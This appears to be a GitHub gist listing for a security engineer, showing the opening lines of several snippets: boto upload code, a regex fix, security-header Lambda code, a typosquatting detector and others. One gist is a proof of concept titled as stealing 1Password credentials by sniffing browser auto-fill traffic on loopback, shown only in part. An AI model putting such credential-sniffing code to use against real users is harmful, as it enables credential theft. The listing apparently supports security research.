Skip to content

Instantly share code, notes, and snippets.

View claudijd's full-sized avatar
🦬

Jonathan Claudius claudijd

🦬
View GitHub Profile
@claudijd
claudijd / example.py
Created November 15, 2019 18:00
boto => boto3 file upload
# In boto
import boto
conn = boto.connect_s3(aws_access_key_id=aws_access_key_id,aws_secret_access_key=aws_secret_access_key)
bucket = conn.get_bucket(bucket_name, validate=False)
key = boto.s3.key.Key(bucket)
key.key = key_name
key.set_contents_from_filename(file_path)
url = "https://{}.s3.amazonaws.com/{}".format(bucket.name, key.name)
@claudijd
claudijd / steal_1password_creds.rb
Last active October 10, 2019 23:09
Steal 1Password credentials from browser auto-fill PoC
# Path setting slight of hand:
$: << File.expand_path("../../lib", __FILE__)
require 'packetfu'
require 'json'
capture_thread = Thread.new do
cap = PacketFu::Capture.new(:iface => 'lo0', :start => true)
cap.stream.each do |p|
pkt = PacketFu::Packet.parse p
if pkt.payload.include?("executeFillScript")
@claudijd
claudijd / poc.py
Last active October 1, 2019 17:14
import re
# Current
>>> re.search(r"((ssh|https)://)?(git@)?github.com[:/](?P<repo_name>[A-Za-z0-9\/\-_]+)(.git)?", "bananas://github.com:/")
'/'
# Proposed
>>> re.search(r"^((https|ssh)://)?(git@)?github.com/(?P<repo_name>[A-Za-z0-9\/\-_]+)(.git)?$", "https://github.com/org/foo").group("repo_name")
'org/foo'
>>> re.search(r"^((https|ssh)://)?(git@)?github.com/(?P<repo_name>[A-Za-z0-9\/\-_]+)(.git)?$", "https://github.com/org/foo.git").group("repo_name")
@claudijd
claudijd / connections_example.py
Created September 17, 2019 21:08
Simplistic prototype for connections expiry
import datetime
import time
# Simple connections management dict in Python example
connections = {}
class Connection:
def __init__(self):
@claudijd
claudijd / index.js
Created July 22, 2019 14:15
Example CloudFront Distribution Viewer Response Lambda Function to Get better Observatory Grades!
'use strict';
exports.handler = (event, context, callback) => {
const response = event.Records[0].cf.response;
const headers = response.headers;
// See https://wiki.mozilla.org/Security/Guidelines/Web_Security
headers['Strict-Transport-Security'] = [{'key': 'Strict-Transport-Security', 'value': 'max-age=63072000'}];
headers['X-Content-Type-Options'] = [{'key': 'X-Content-Type-Options', 'value': 'nosniff'}];
headers['X-Frame-Options'] = [{'key': 'X-Frame-Options', 'value': 'DENY'}];
@claudijd
claudijd / report.json
Created July 10, 2019 20:19
example of JSON formatted report
{
"overall": "orange",
scanner_reports: {
"ssh_observatory": "green",
"http_observatory": "orange",
"dir_scan": "green",
"ssh_observatory": "green",
"ssh_observatory": "green"
}
}
@claudijd
claudijd / shark.py
Created July 3, 2019 18:20
demoing global override and comms
thing = "foo"
class Baz():
def override_thing(self):
global thing
thing = 1
def update_thing(self):
@claudijd
claudijd / poc.sh
Created April 16, 2019 15:56
Script to poll app_metadata and group membership
#!/usr/bin/env bash
# Pass in your BEARER_TOKEN to this script to make it dance
mkdir -p ./testing
while true; do
echo "$(date): Polling /api/v2/users/ad%7CMozilla-LDAP%7Cjclaudius and dumping app_metadata and groups to file"
curl -H "Authorization: Bearer $BEARER_TOKEN" "https://auth.mozilla.auth0.com/api/v2/users/ad%7CMozilla-LDAP%7Cjclaudius" 2> /dev/null | jq -r '"\(.app_metadata)|\(.groups)"' > ./testing/$(date +%s)
sleep 5
done
@claudijd
claudijd / gist:f88803af5c44e817678b3eb95f056b93
Created September 6, 2018 17:40
Crude mechanism to detect typo attacks on RubyGems
require 'levenshtein-ffi'
class String
def edit_distance(other)
raise unless other.is_a?(::String)
diff = Levenshtein.distance(self, other)
end
end
# Arbitrary gem list to test to determine if they are bad or not
@claudijd
claudijd / pickle_random_testing.py
Last active November 14, 2018 00:08
A demo of pickle usage vs. random usage respective to existing and proposed
import pickle
import os.path
import random
# Old pickle queue logic (summarized)
pickle_cache_file = "pickle.queue"
reset_list_count = 0